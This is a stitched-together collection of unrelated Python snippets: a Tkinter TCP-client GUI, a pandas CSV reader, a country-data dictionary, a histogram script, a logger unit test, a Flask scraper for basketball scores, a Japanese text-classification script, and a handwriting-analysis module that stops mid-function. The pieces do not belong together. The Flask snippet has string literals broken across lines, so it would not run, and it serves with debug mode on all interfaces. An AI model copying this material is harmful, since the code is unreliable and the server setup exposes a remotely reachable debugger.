# -*- coding:utf-8 -*-
__author__ = 'Administrator'

'''
这个模块的功能是对一整块frame进行划分，划分成“侦听部分”、“数据发送部分”、“数据统计部分”、“数据接收部分”
所以，这个模块的所有函数，都需要“整块frame”这个参数；都是在“整块frame”的基础上再次进行细分。
'''
import Tkinter
from tcp_client_function import Tcp_Client_Function

class Tcp_Client_Frame_Divide():
    def __init__(self):
        '''
        1.main脚本调用Tcp_Server_Frame_Divide类的第一个步骤，就是实例话tcp_server_function类；
        2.即使tcp_server_function类是空的，也不影响tcp_Server面板的形成，结果就是只有面板，没有相应的功能。
        '''
        self.TCF = Tcp_Client_Function()

    def receive_partion(self, Frame):
        '''
        1.receive_partion是tcp_server面板里面显示接收到的数据的组件；
        2.注意到这里的Frame，指的是整个tcp_server框架，其他所有的子框架都是基于此。
        '''
        receive_frame = Tkinter.Frame(Frame)
        # 1.下面的语句，height=600，可能已经大于了整个工具设定的高度；但没有关系，它可以随着整个工具的高度来自动变化；
        # 2.exportselection=Tkinter.FALSE,整个参数尤其重要，如果listbox里面有参数被选定，那么bg就是置为蓝色；如果整个时候用鼠标
        # 取选中其他组件里面的参数，那么listbox里面被选中的参数就会变为未被选中；加上exportselection=Tkinter.FALSE,listbox里面
        # 被选中的参数就不会“去选中”，保持选中状态。
        # 3.整个listbox组件是建立在receive_frame里面的

        # 下面的几行，就是将X和Y方形的滚动条绑定在listbox上面
        self.sl_vertical = Tkinter.Scrollbar(receive_frame, orient=Tkinter.VERTICAL)  #文本框-竖向滚动条
        self.sl_horizontal = Tkinter.Scrollbar(receive_frame, orient=Tkinter.HORIZONTAL)
        self.data_text = Tkinter.Listbox(receive_frame, height=600, exportselection=Tkinter.FALSE,
                                         yscrollcommand=self.sl_vertical.set, xscrollcommand=self.sl_horizontal.set)
        self.sl_vertical.config(command=self.data_text.yview)
        self.sl_horizontal.config(command=self.data_text.xview)
        self.sl_vertical.pack(fill=Tkinter.Y, expand=0, side=Tkinter.RIGHT, anchor=Tkinter.N)
        self.sl_horizontal.pack(fill=Tkinter.X, expand=0, side=Tkinter.BOTTOM, anchor=Tkinter.N)

        # 创建一个菜单>菜单添加“copy”按钮>data_text区域绑定右键行为
        self.menubar = Tkinter.Menu(self.data_text)
        self.menubar.add_command(label='copy', command=self.copy_data)
        self.data_text.bind('<Button-3>', self.popup)
        self.data_text.pack(fill=Tkinter.BOTH, expand=1, side=Tkinter.LEFT)

        #self.data_text.pack(fill=Tkinter.BOTH, expand=1,padx=5)
        receive_frame.pack(fill=Tkinter.BOTH, expand=1)

    def popup(self, event):
        '数据区的鼠标行为，这是listbox绑定的是右键<Button-3>'
        self.menubar.post(event.x_root, event.y_root)

    def copy_data(self):
        'copy_data函数，用于数据区鼠标右键里面的元素的行为'
        # clipboad在每个组件里面都有，表示的是剪切板内容，是复制内容暂时存放的地方；
        # clear动作是清空剪切板，append动作是追加到剪切板
        self.data_text.clipboard_clear()
        # self.data_text.curselection()返回的序号，get(index)返回的是选中的内容
        self.data_text.clipboard_append(self.data_text.get(self.data_text.curselection()))

    def statistical_partion(self, Frame):
        'statistical_partion：从整块frame当中挖出一块用于实现统计数据的发送和结束条数总和的框架'
        statistical_frame = Tkinter.Frame(Frame)
        self.send_num_label = Tkinter.Label(statistical_frame, text=u'发送:')
        self.send_num_label.pack(side=Tkinter.LEFT,padx=5)
        # 整个self.send_num是会变的，所以要用Tkinter.STringVar()来指定它的属性
        self.send_num = Tkinter.StringVar()
        # 注意变量的用法，textvariable=self.send_num
        self.send_num_entry = Tkinter.Entry(statistical_frame, textvariable=self.send_num, width=10)
        # 下面语句的作用是设置send_num_entry为只读模式，不可手动更改
        self.send_num_entry['state'] = 'readonly'
        self.send_num_entry.pack(side=Tkinter.LEFT,padx=5)
        self.receive_num_label = Tkinter.Label(statistical_frame, text=u'接收:')
        self.receive_num_label.pack(side=Tkinter.LEFT,padx=5)
        self.receive_num = Tkinter.StringVar()
        self.receive_num_entry = Tkinter.Entry(statistical_frame, textvariable=self.receive_num, width=10)
        self.receive_num_entry['state'] = 'readonly'
        self.receive_num_entry.pack(side=Tkinter.LEFT,padx=5)
        self.clear_button = Tkinter.Button(statistical_frame, text=u'清空', command=lambda : self.TCF.clear_data_text(self.data_text, self.send_num, self.receive_num), width=10)
        self.clear_button.pack(side=Tkinter.RIGHT,padx=5)
        self.log_checkbutton_v = Tkinter.StringVar()
        self.log_checkbutton_v.set(0)
        self.log_checkbutton = Tkinter.Checkbutton(statistical_frame, text=u'日志', variable=self.log_checkbutton_v, command=lambda : self.TCF.log_recode(self.log_checkbutton_v, ), width=10)
        self.log_checkbutton.pack(side=Tkinter.RIGHT,padx=5)
        statistical_frame.pack(pady=5, fill=Tkinter.X)

    def send_partion_1(self, send_frame):
        'send_partion_signal：用于在“整个数据发送frame”中实现一块小的数据发送区域'
        send_frame_1 = Tkinter.Frame(send_frame)
        self.send_frame_label_1 = Tkinter.Label(send_frame_1, text=u'数据1:')
        self.send_frame_label_1.pack(side=Tkinter.LEFT,padx=5)
        self.send_frame_entry_1 = Tkinter.Entry(send_frame_1)
        self.send_frame_entry_1.pack(side=Tkinter.LEFT,padx=5, expand=1, fill=Tkinter.X)
        # 1.发送按钮，对应将数据发送出去；就需要有相应的函数支撑，格式是command=函数名；
        # 2.如果格式是command=函数名()，那么在面板形成的时候，这个函数就会执行一次；同时以后再点击这个按钮，没有任何效果；
        # 3.如果函数需要带参数，那么要使用这样的格式command=lambda : 函数名(参数)
        self.send_frame_button_1 = Tkinter.Button(send_frame_1, text=u'发送', command=lambda : self.TCF.send_data(self.send_frame_entry_1.get(), self.send_num, self.data_text), width=10)
        self.send_frame_button_1.pack(side=Tkinter.LEFT, padx=5)
        self.listen_v_send_timing_1 = Tkinter.StringVar()
        self.listen_v_send_timing_1.set(u'定时发送')
        self.send_timing_frame_button_1 = Tkinter.Button\
            (send_frame_1, textvariable=self.listen_v_send_timing_1, command=lambda : self.TCF.send_data_timing_1(self.listen_v_send_timing_1, self.send_frame_entry_1.get(), self.send_timing_frame_entry_1, self.send_num, self.data_text), width=10)
        self.send_timing_frame_button_1.pack(side=Tkinter.LEFT, padx=5)
        self.send_timing_frame_entry_1 = Tkinter.Entry(send_frame_1, width=10)
        self.send_timing_frame_entry_1.pack(side=Tkinter.LEFT,padx=5)
        self.send_timing_frame_label_1 = Tkinter.Label(send_frame_1, text='ms')
        self.send_timing_frame_label_1.pack()
        send_frame_1.pack(pady=3, expand=1, fill=Tkinter.X)

    def send_partion_2(self, send_frame):
        'send_partion_signal：用于在“整个数据发送frame”中实现一块小的数据发送区域'
        send_frame_2 = Tkinter.Frame(send_frame)
        self.send_frame_label_2 = Tkinter.Label(send_frame_2, text=u'数据2:')
        self.send_frame_label_2.pack(side=Tkinter.LEFT,padx=5)
        self.send_frame_entry_2 = Tkinter.Entry(send_frame_2)
        self.send_frame_entry_2.pack(side=Tkinter.LEFT,padx=5, expand=1, fill=Tkinter.X)
        self.send_frame_button_2 = Tkinter.Button(send_frame_2, text=u'发送', command=lambda : self.TCF.send_data(self.send_frame_entry_2.get(), self.send_num, self.data_text), width=10)
        self.send_frame_button_2.pack(side=Tkinter.LEFT, padx=5)
        self.listen_v_send_timing_2 = Tkinter.StringVar()
        self.listen_v_send_timing_2.set(u'定时发送')
        self.send_timing_frame_button_2 = Tkinter.Button\
            (send_frame_2, textvariable=self.listen_v_send_timing_2, command=lambda : self.TCF.send_data_timing_2(self.listen_v_send_timing_2, self.send_frame_entry_2.get(), self.send_timing_frame_entry_2, self.send_num, self.data_text), width=10)
        self.send_timing_frame_button_2.pack(side=Tkinter.LEFT, padx=5)
        self.send_timing_frame_entry_2 = Tkinter.Entry(send_frame_2, width=10)
        self.send_timing_frame_entry_2.pack(side=Tkinter.LEFT,padx=5)
        self.send_timing_frame_label_2 = Tkinter.Label(send_frame_2, text='ms')
        self.send_timing_frame_label_2.pack()
        send_frame_2.pack(pady=3, expand=1, fill=Tkinter.X)

    def send_partion_3(self, send_frame):
        'send_partion_signal：用于在“整个数据发送frame”中实现一块小的数据发送区域'
        send_frame_3 = Tkinter.Frame(send_frame)
        self.send_frame_label_3 = Tkinter.Label(send_frame_3, text=u'数据3:')
        self.send_frame_label_3.pack(side=Tkinter.LEFT,padx=5)
        self.send_frame_entry_3 = Tkinter.Entry(send_frame_3)
        self.send_frame_entry_3.pack(side=Tkinter.LEFT,padx=5, expand=1, fill=Tkinter.X)
        self.send_frame_button_3 = Tkinter.Button(send_frame_3, text=u'发送', command=lambda : self.TCF.send_data(self.send_frame_entry_3.get(), self.send_num, self.data_text), width=10)
        self.send_frame_button_3.pack(side=Tkinter.LEFT, padx=5)
        self.listen_v_send_timing_3 = Tkinter.StringVar()
        self.listen_v_send_timing_3.set(u'定时发送')
        self.send_timing_frame_button_3 = Tkinter.Button\
            (send_frame_3, textvariable=self.listen_v_send_timing_3, command=lambda : self.TCF.send_data_timing_3(self.listen_v_send_timing_3, self.send_frame_entry_3.get(), self.send_timing_frame_entry_3, self.send_num, self.data_text), width=10)
        self.send_timing_frame_button_3.pack(side=Tkinter.LEFT, padx=5)
        self.send_timing_frame_entry_3 = Tkinter.Entry(send_frame_3, width=10)
        self.send_timing_frame_entry_3.pack(side=Tkinter.LEFT,padx=5)
        self.send_timing_frame_label_3 = Tkinter.Label(send_frame_3, text='ms')
        self.send_timing_frame_label_3.pack()
        send_frame_3.pack(pady=3, expand=1, fill=Tkinter.X)

    def send_partion(self, Frame):
        'send_partion：从整块frame当中挖出一块用于实现数据发送部分的框架'
        # 需要将上面三个发送小区域应用起来
        send_frame = Tkinter.Frame(Frame)
        self.send_partion_1(send_frame)
        self.send_partion_2(send_frame)
        self.send_partion_3(send_frame)
        #fill=Tkinter.X，允许send_frame向X方向填充
        send_frame.pack(pady=5, fill=Tkinter.X)

    def connect_partion(self, Frame):
        'connect_partion：从整块frame当中挖出一块用于实现客户端连接部分的框架'
        connect_frame = Tkinter.Frame(Frame)
        server_frame = Tkinter.Frame(connect_frame)

        self.ipaddr_server_label = Tkinter.Label(server_frame, text=u'服务器IP:')
        self.ipaddr_server_label.pack(side=Tkinter.LEFT, padx=5)
        self.ipaddr_server_entry = Tkinter.Entry(server_frame)
        self.ipaddr_server_entry.pack(side=Tkinter.LEFT, padx=10)
        self.port_server_label = Tkinter.Label(server_frame, text=u'服务器port:')
        self.port_server_label.pack(side=Tkinter.LEFT, padx=5)
        self.port_server_entry = Tkinter.Entry(server_frame)
        self.port_server_entry.pack(side=Tkinter.LEFT, padx=5)
        self.connect_v = Tkinter.StringVar()
        self.connect_v.set(u'连接')
        self.connect_button = Tkinter.Button(server_frame, textvariable=self.connect_v, command=lambda : self.TCF.Connect(self.paramater_list()), width=10)
        self.connect_button.pack(side=Tkinter.LEFT, padx=5)
        server_frame.pack(fill=Tkinter.BOTH, expand=1, side=Tkinter.LEFT)
        connect_frame.pack(fill=Tkinter.X)

    def paramater_list(self):
        'paramater_list：以列表的形式，将面板中的各类entry、listbox、StringVar（各种变量）传入函数里面，以便于在函数里面对面板的各个组件进行赋值等'
        return [self.data_text, self.send_num, self.receive_num, self.send_frame_entry_1, self.send_timing_frame_entry_1, self.send_frame_label_2,
                self.send_timing_frame_entry_2, self.send_frame_entry_3, self.send_timing_frame_entry_3, self.ipaddr_server_entry, self.port_server_entry, self.connect_v,
                self.log_checkbutton_v, self.listen_v_send_timing_1, self.listen_v_send_timing_2, self.listen_v_send_timing_3]

'''
0:self.data_text
1:self.send_num
2:self.receive_num
3:self.send_frame_entry_1
4:self.send_timing_frame_entry_1
5:self.send_frame_label_2
6:self.send_timing_frame_entry_2
7:self.send_frame_entry_3
8:self.send_timing_frame_entry_3
9:self.ipaddr_server_entry
10:self.port_server_entry
11:self.connect_v
12:self.log_checkbutton_v
13:self.listen_v_send_timing_1
14:self.listen_v_send_timing_2
15:self.listen_v_send_timing_3
'''


import time
import pandas as pd

def execution_time(func):
    def wrapper(*args, **kwargs):
        t1 = time.time()
        tmp = func(*args, **kwargs)
        t2 = time.time()
        t = t2 - t1
        print("""Executing Time of "%s": %.3f s""" % (func.__name__, t))
        return tmp
    return wrapper

@execution_time
def reader_pandas(file, chunkSize=10000):
    reader = pd.read_csv(file, iterator=True)
    chunks =[]
    while 1:
        try:
            chunk = reader.get_chunk(chunkSize)
            chunks.append(chunk)
        except StopIteration:
            break
    return pd.concat(chunks, ignore_index=True)


french_polynesia = {
    "countryName": "French Polynesia",
    "countryIsoAlpha2Code": "PF",
    "countryIsoAlpha3Code": "PYF",
    "countryNumericIsoCode": "258",
    "officialName": "French Polynesia",
    "subCountry1": {
        "localName": "Administrative subdivisions",
        "bestDatasource": "gadm",
        "gadmLevel": 1
    }
    # "subCountry2": {
    #     "localName": "Communes",
    #     "bestDatasource": "gadm"
    # },
    # "subCountry3": {
    #     "localName": "Associated communes",
    #     "bestDatasource": "gadm"
    # }
}


#!/usr/bin/python3

from math import ceil, log, floor
import matplotlib.pyplot as plt
import numpy as np

taxo_h = taxo_k = 4
taxo_n = int(ceil((pow(taxo_k, taxo_h + 1) - 1) / (taxo_k - 1)))

dgeo_p = taxo_n / float(sum(range(1, taxo_n)))

zi = np.random.geometric(p=dgeo_p*4, size=1000)
zmax = max(zi)
plt.hist(zi, facecolor='green', alpha=0.75)

zh = [z if np.random.randint(2) else np.random.randint(zmax+1) for z in zi]
plt.hist(zh, facecolor='blue', alpha=0.75)
plt.show()


import unittest

from log.custom_logger import get_module_from_filename

class TestGetModuleFromFilename(unittest.TestCase):
    def test_in_path(self):
        module = get_module_from_filename(__file__)
        expected_module = "log.tests.test_custom_logger"

        self.assertIn(module, expected_module)

    def test_not_in_path(self):
        expected_module = "Default module"
        module = get_module_from_filename("/file/that/does/not/exist.py",
                                          default_module=expected_module)

        self.assertEqual(module, expected_module)

if __name__ == '__main__':
    unittest.main()


import urllib2
from bs4 import BeautifulSoup
from flask import Flask

app = Flask(__name__)
app.debug = True

def didSyracuseWin():
	#
	# spoof the header since SIDEARM's servers hates scripts :D
	#
	request = urllib2.Request('http://suathletics.com/schedule.aspx?tab=basketball2&path=mbasket')
	opener = urllib2.build_opener()
	opener.addheaders = [('User-agent', 'Mozilla/5.0')]
	page = opener.open(request).read()

	#
	# put into Beautiful Soup
	#
	soup = BeautifulSoup(page)
	results = []
	for game in soup.find_all("div", class_="schedule_game_results"):
		results.append(game.contents[1].text)

	if results[-1][0] == "W":
		return "They won! :)" + "
" + results[-1]
	else:
		return "They lost :(" + "
" + results[-1]

@app.route('/')
def index():
	return didSyracuseWin()

if __name__ == '__main__':
    app.run(host="0.0.0.0", debug=True)


#!/usr/bin/enb python3
# -*- coding: utf-8 -*-

from machine_learning import answer_date_to_vec
from sklearn.externals import joblib
from sklearn.model_selection import train_test_split
from nlplib import *

def predict(NGRAM, files, dic, func, model):
    vecs, labels, texts = answer_date_to_vec(files, dic=dic, n=NGRAM, func=func)
    # トレーニングデータとテストデータに分割
    # 全体の30%をテストデータにする
    train_vecs, test_vecs, train_labels, test_labels, train_text, test_texts = train_test_split(vecs, labels, texts,
                                                                                test_size=0.3,
                                                                                random_state=123)

    estimator = joblib.load(model)
    predict_labels = estimator.predict(test_vecs)
    print(" - - - - -" + func + str(NGRAM) + " - - - - -")

    test_text0 = 0
    test_text1 = 0
    train_text0 = 0
    train_text1 = 0
    test_num = 0
    train_num = 0
    for num in test_labels:
        test_num += 1
        if num == 0:
            test_text0 += 1
        if num == 1:
            test_text1 += 1

    for num in train_labels:
        train_num += 1
        if num == 0:
            train_text0 += 1
        if num == 1:
            train_text1 += 1

    print("label_num" + str(test_num))
    print("test_0_num" + str(test_text0))
    print("test_1_num" + str(test_text1))

    print("train_num" + str(train_num))
    print("train_0_num" + str(train_text0))
    print("train_1_num" + str(train_text1))

    return hyouka(predict_labels, test_labels, test_texts)

if __name__ == '__main__':

    # ラベル付きデータ - - - - -
    fukuoka = "./47honkaigi_answer_txt/Pref40_fukuoka_0027-02-24_answer.txt"
    saga = "./47honkaigi_answer_txt/Pref41_saga_0027-03-06_answer.txt"
    nagasaki = "./47honkaigi_answer_txt/Pref42_nagasaki_nayose0904_0027-03-18_answer.txt"
    kumamoto = "./47honkaigi_answer_txt/Pref43_kumamoto_nayose0704_0027-03-13_answer.txt"
    oita = "./47honkaigi_answer_txt/Pref44_oita_nayose0704_0027-03-17_answer.txt"
    miyazaki = "./47honkaigi_answer_txt/Pref45_miyazaki_nayose0704_0027-03-13_answer.txt"
    kagoshima = "./47honkaigi_answer_txt/Pref46_kagoshima_0027-03-20_answer.txt"
    okinawa = "./47honkaigi_answer_txt/Pref47_okinawa_nayose0704_0027-03-27_answer.txt"

    kyusyu = [fukuoka, saga, nagasaki, kumamoto, oita, miyazaki, kagoshima, okinawa]
    pref3 = [okinawa, kagoshima, miyazaki]
    files = []

    # dictionary ,model- - - - -
    dic_char = './dictionary20171207/dic_char_{0}gram.txt'
    dic_char_ex_noun = './dictionary20171207/dic_char_ex_noun_{0}gram.txt'
    dic_hinsi = './dictionary20171207/dic_hinsi_{0}gram.txt'
    dic_word = './dictionary20171207/dic_word_{0}gram.txt'
    dic_word_ex_noun = './dictionary20171207/dic_word_ex_noun_{0}gram.txt'

    model_char = './learning_models20171207/char_{0}gram_saga.pkl.cmp'
    model_char_ex_noun = './learning_models20171207/char_ex_noun_{0}gram_saga.pkl.cmp'
    model_hinsi = './learning_models20171207/hinsi_{0}gram_saga.pkl.cmp'
    model_word = './learning_models20171207/word_{0}gram_saga.pkl.cmp'
    model_word_ex_noun = './learning_models20171207/word_ex_noun_{0}gram_saga.pkl.cmp'

    for NGRAM in range(1, 4):
        print("- - - - - - - - - - - - - - - - - - - - - - - - - - - - -")
        #$predict(NGRAM, [saga], dic_char.format(NGRAM), 'char', model_char.format(NGRAM))
        predict(NGRAM, [saga], dic_word.format(NGRAM), 'word', model_word.format(NGRAM))
        #predict(NGRAM, [saga], dic_word_ex_noun.format(NGRAM), 'word_ex_noun', model_word_ex_noun.format(NGRAM))


#!/usr/bin/env python
# coding: utf-8

# In[4]:

import streamlit as st
import os
import PIL
from PIL import Image
import numpy as np
import math
import cv2
import os
import itertools
from sklearn.svm import SVC
from sklearn.model_selection import train_test_split
from sklearn.metrics import accuracy_score
import extract
from IPython import get_ipython

arr = os.listdir(r"E:\\CAPSTONE PROJECT\\DATA")
ANCHOR_POINT = 6000
MIDZONE_THRESHOLD = 15000
# Features are defined here as global variables
BASELINE_ANGLE = 0.0
TOP_MARGIN = 0.0
LETTER_SIZE = 0.0
LINE_SPACING = 0.0
WORD_SPACING = 0.0
PEN_PRESSURE = 0.0
SLANT_ANGLE = 0.0
X_baseline_angle = []
X_top_margin = []
X_letter_size = []
X_line_spacing = []
X_word_spacing = []
X_pen_pressure = []
X_slant_angle = []
y_t1 = []
y_t2 = []
y_t3 = []
y_t4 = []
y_t5 = []
y_t6 = []
y_t7 = []
y_t8 = []
page_ids = []

def res(im,i):
    basewidth = 800
    wpercent = (basewidth / float(im.size[0]))
    hsize = int((float(im.size[1]) * float(wpercent)))
    im1 = im.resize((basewidth, hsize), PIL.Image.ANTIALIAS)
    width, height = im1.size
    left =0
    top = height/6
    right = width
    bottom =height-height/5
    im2 = im1.crop((left, top,right,bottom))
    im2.save("C:\\Users\\Lenovo\\Desktop\\capstone\\images\\res\\"+arr[i])
    ##print(width, height)
''' function for bilateral filtering '''
def bilateralFilter(image, d):
    image = cv2.bilateralFilter(image,d,50,50)
    return image

''' function for median filtering '''
def medianFilter(image, d):
    image = cv2.medianBlur(image,d)
    return image

''' function for INVERTED binary threshold '''
def threshold(image, t):
    image = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
    ret,image = cv2.threshold(image,t,255,cv2.THRESH_BINARY_INV)
    return image

''' function for dilation of objects in the image '''
def dilate(image, kernalSize):
    kernel = np.ones(kernalSize, np.uint8)
    image = cv2.dilate(image, kernel, iterations=1)
    return image

''' function for erosion of objects in the image '''
def erode(image, kernalSize):
    kernel = np.ones(kernalSize, np.uint8)
    image = cv2.erode(image, kernel, iterations=1)
    return image

''' function for finding countours and straightening them horizontally. Straightened lines will give better result with horizontal projections. '''
def straighten(image):

    global BASELINE_ANGLE

    angle = 0.0
    angle_sum = 0.0
    countour_count = 0

    # these four variables are not being used, please ignore
    positive_angle_sum = 0.0 #downward
    negative_angle_sum = 0.0 #upward
    positive_count = 0
    negative_count = 0

    # apply bilateral filter
    filtered = bilateralFilter(image, 3)
    ##cv2.imshow('filtered',filtered)

    # convert to grayscale and binarize the image by INVERTED binary thresholding
    thresh = threshold(filtered, 120)
    ##cv2.imshow('thresh',thresh)

    # dilate the handwritten lines in image with a suitable kernel for contour operation
    dilated = dilate(thresh, (5 ,100))
    ##cv2.imshow('dilated',dilated)

    ctrs,hier = cv2.findContours(dilated.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)

    for i, ctr in enumerate(ctrs):
        x, y, w, h = cv2.boundingRect(ctr)

        # We can be sure the contour is not a line if height > width or height is < 20 pixels. Here 20 is arbitrary.
        if h>w or h<20:
            continue

        # We extract the region of interest/contour to be straightened.
        roi = image[y:y+h, x:x+w]
        #rows, cols = ctr.shape[:2]

        # If the length of the line is less than half the document width, especially for the last line,
        # ignore because it may yeild inacurate baseline angle which subsequently affects proceeding features.
        if w < image.shape[1]/2 :
            roi = 255
            image[y:y+h, x:x+w] = roi
            continue

        # minAreaRect is necessary for straightening
        rect = cv2.minAreaRect(ctr)
        center = rect[0]
        angle = rect[2]
        ##print "original: "+str(i)+" "+str(angle)
        # I actually gave a thought to this but hard to remember anyway!
        if angle < -45.0:
            angle += 90.0;
        ##print "+90 "+str(i)+" "+str(angle)

        rot = cv2.getRotationMatrix2D(((x+w)/2,(y+h)/2), angle, 1)
        #extract = cv2.warpAffine(roi, rot, (w,h), borderMode=cv2.BORDER_TRANSPARENT)
        extract = cv2.warpAffine(roi, rot, (w,h), borderMode=cv2.BORDER_CONSTANT, borderValue=(255,255,255))
        #cv2.imshow('warpAffine:'+str(i),extract)

        # image is overwritten with the straightened contour
        image[y:y+h, x:x+w] = extract
        '''
        # Please Ignore. This is to draw visual representation of the contour rotation.
        box = cv2.boxPoints(rect)
        box = np.int0(box)
        cv2.drawContours(display,[box],0,(0,0,255),1)
        cv2.rectangle(display,(x,y),( x + w, y + h ),(0,255,0),1)
        '''
        #print(angle)
        angle_sum += angle
        countour_count += 1
    '''
        # sum of all the angles of downward baseline
        if(angle>0.0):
            positive_angle_sum += angle
            positive_count += 1
        # sum of all the angles of upward baseline
        else:
            negative_angle_sum += angle
            negative_count += 1

    if(positive_count == 0): positive_count = 1
    if(negative_count == 0): negative_count = 1
    average_positive_angle = positive_angle_sum / positive_count
    average_negative_angle = negative_angle_sum / negative_count
    #print "average_positive_angle: "+str(average_positive_angle)
    #print "average_negative_angle: "+str(average_negative_angle)

    if(abs(average_positive_angle) > abs(average_negative_angle)):
        average_angle = average_positive_angle
    else:
        average_angle = average_negative_angle

    #print "average_angle: "+str(average_angle)
    '''
    #cv2.imshow('countours', display)

    # mean angle of the contours (not lines) is found
    mean_angle = angle_sum / countour_count
    BASELINE_ANGLE = mean_angle
    #print ("Average baseline angle: "+str(mean_angle))
    return image

''' function to calculate horizontal projection of the image pixel rows and return it '''
def horizontalProjection(img):
    # Return a list containing the sum of the pixels in each row
    (h, w) = img.shape[:2]
    sumRows = []
    for j in range(h):
        row = img[j:j+1, 0:w] # y1:y2, x1:x2
        sumRows.append(np.sum(row))
    return sumRows

''' function to calculate vertical projection of the image pixel columns and return it '''
def verticalProjection(img):
    # Return a list containing the sum of the pixels in each column
    (h, w) = img.shape[:2]
    sumCols = []
    for j in range(w):
        col = img[0:h, j:j+1] # y1:y2, x1:x2
        sumCols.append(np.sum(col))
    return sumCols

''' function to extract lines of handwritten text from the image using horizontal projection '''
def extractLines(img):

    global LETTER_SIZE
    global LINE_SPACING
    global TOP_MARGIN

    # apply bilateral filter
    filtered = bilateralFilter(img, 5)

    # convert to grayscale and binarize the image by INVERTED binary thresholding
    # it's better to clear unwanted dark areas at the document left edge and use a high threshold value to preserve more text pixels
    thresh = threshold(filtered, 160)
    #cv2.imshow('thresh', lthresh)

    # extract a python list containing values of the horizontal projection of the image into 'hp'
    hpList = horizontalProjection(thresh)

    # Extracting 'Top Margin' feature.
    topMarginCount = 0
    for sum in hpList:
        # sum can be strictly 0 as well. Anyway we take 0 and 255.
        if(sum<=255):
            topMarginCount += 1
        else:
            break

    ##print "(Top margin row count: "+str(topMarginCount)+")"

    # FIRST we extract the straightened contours from the image by looking at occurance of 0's in the horizontal projection.
    lineTop = 0
    lineBottom = 0
    spaceTop = 0
    spaceBottom = 0
    indexCount = 0
    setLineTop = True
    setSpaceTop = True
    includeNextSpace = True
    space_zero = [] # stores the amount of space between lines
    lines = [] # a 2D list storing the vertical start index and end index of each contour

    # we are scanning the whole horizontal projection now
    for i, sum in enumerate(hpList):
        # sum being 0 means blank space
        if(sum==0):
            if(setSpaceTop):
                spaceTop = indexCount
                setSpaceTop = False # spaceTop will be set once for each start of a space between lines
            indexCount += 1
            spaceBottom = indexCount
            if(i<len(hpList)-1): # this condition is necessary to avoid array index out of bound error
                if(hpList[i+1]==0): # if the next horizontal projectin is 0, keep on counting, it's still in blank space
                    continue
            # we are using this condition if the previous contour is very thin and possibly not a line
            if(includeNextSpace):
                space_zero.append(spaceBottom-spaceTop)
            else:
                if (len(space_zero)==0):
                    previous = 0
                else:
                    previous = space_zero.pop()
                space_zero.append(previous + spaceBottom-lineTop)
            setSpaceTop = True # next time we encounter 0, it's begining of another space so we set new spaceTop

        # sum greater than 0 means contour
        if(sum>0):
            if(setLineTop):
                lineTop = indexCount
                setLineTop = False # lineTop will be set once for each start of a new line/contour
            indexCount += 1
            lineBottom = indexCount
            if(i<len(hpList)-1): # this condition is necessary to avoid array index out of bound error
                if(hpList[i+1]>0): # if the next horizontal projectin is > 0, keep on counting, it's still in contour
                    continue

                # if the line/contour is too thin <10 pixels (arbitrary) in height, we ignore it.
                # Also, we add the space following this and this contour itself to the previous space to form a bigger space: spaceBottom-lineTop.
                if(lineBottom-lineTop<20):
                    includeNextSpace = False
                    setLineTop = True # next time we encounter value > 0, it's begining of another line/contour so we set new lineTop
                    continue
            includeNextSpace = True # the line/contour is accepted, new space following it will be accepted

            # append the top and bottom horizontal indices of the line/contour in 'lines'
            lines.append([lineTop, lineBottom])
            setLineTop = True # next time we encounter value > 0, it's begining of another line/contour so we set new lineTop

    '''
    # #printing the values we found so far.
    for i, line in enumerate(lines):
        #print
        #print i
        #print line[0]
        #print line[1]
        #print len(hpList[line[0]:line[1]])
        #print hpList[line[0]:line[1]]

    for i, line in enumerate(lines):
        cv2.imshow("line "+str(i), img[line[0]:line[1], : ])
    '''

    # SECOND we extract the very individual lines from the lines/contours we extracted above.
    fineLines = [] # a 2D list storing the horizontal start index and end index of each individual line
    for i, line in enumerate(lines):

        anchor = line[0] # 'anchor' will locate the horizontal indices where horizontal projection is > ANCHOR_POINT for uphill or < ANCHOR_POINT for downhill(ANCHOR_POINT is arbitrary yet suitable!)
        anchorPoints = [] # python list where the indices obtained by 'anchor' will be stored
        upHill = True # it implies that we expect to find the start of an individual line (vertically), climbing up the histogram
        downHill = False # it implies that we expect to find the end of an individual line (vertically), climbing down the histogram
        segment = hpList[line[0]:line[1]] # we put the region of interest of the horizontal projection of each contour here

        for j, sum in enumerate(segment):
            if(upHill):
                if(sum<ANCHOR_POINT):
                    anchor += 1
                    continue
                anchorPoints.append(anchor)
                upHill = False
                downHill = True
            if(downHill):
                if(sum>ANCHOR_POINT):
                    anchor += 1
                    continue
                anchorPoints.append(anchor)
                downHill = False
                upHill = True

        ##print anchorPoints

        # we can ignore the contour here
        if(len(anchorPoints)<2):
            continue

        '''
        # the contour turns out to be an individual line
        if(len(anchorPoints)<=3):
            fineLines.append(line)
            continue
        '''
        # len(anchorPoints) > 3 meaning contour composed of multiple lines
        lineTop = line[0]
        for x in range(1, len(anchorPoints)-1, 2):
            # 'lineMid' is the horizontal index where the segmentation will be done
            lineMid = (anchorPoints[x]+anchorPoints[x+1])/2
            lineBottom = lineMid
            # line having height of pixels <20 is considered defects, so we just ignore it
            # this is a weakness of the algorithm to extract lines (anchor value is ANCHOR_POINT, see for different values!)
            if(lineBottom-lineTop < 20):
                continue
            fineLines.append([lineTop, lineBottom])
            lineTop = lineBottom
        if(line[1]-lineTop < 20):
            continue
        fineLines.append([lineTop, line[1]])

    # LINE SPACING and LETTER SIZE will be extracted here
    # We will count the total number of pixel rows containing upper and lower zones of the lines and add the space_zero/runs of 0's(excluding first and last of the list ) to it.
    # We will count the total number of pixel rows containing midzones of the lines for letter size.
    # For this, we set an arbitrary (yet suitable!) threshold MIDZONE_THRESHOLD = 15000 in horizontal projection to identify the midzone containing rows.
    # These two total numbers will be divided by number of lines (having at least one row>MIDZONE_THRESHOLD) to find average line spacing and average letter size.
    space_nonzero_row_count = 0
    midzone_row_count = 0
    lines_having_midzone_count = 0
    flag = False
    for i, line in enumerate(fineLines):
        segment =hpList[int(line[0]):int(line[1])]
        for j, sum in enumerate(segment):
            if(sum<MIDZONE_THRESHOLD):
                space_nonzero_row_count += 1
            else:
                midzone_row_count += 1
                flag = True

        # This line has contributed at least one count of pixel row of midzone
        if(flag):
            lines_having_midzone_count += 1
            flag = False

    # error prevention ^-^
    if(lines_having_midzone_count == 0): lines_having_midzone_count = 1

    total_space_row_count = space_nonzero_row_count + np.sum(space_zero[1:-1]) #excluding first and last entries: Top and Bottom margins
    # the number of spaces is 1 less than number of lines but total_space_row_count contains the top and bottom spaces of the line
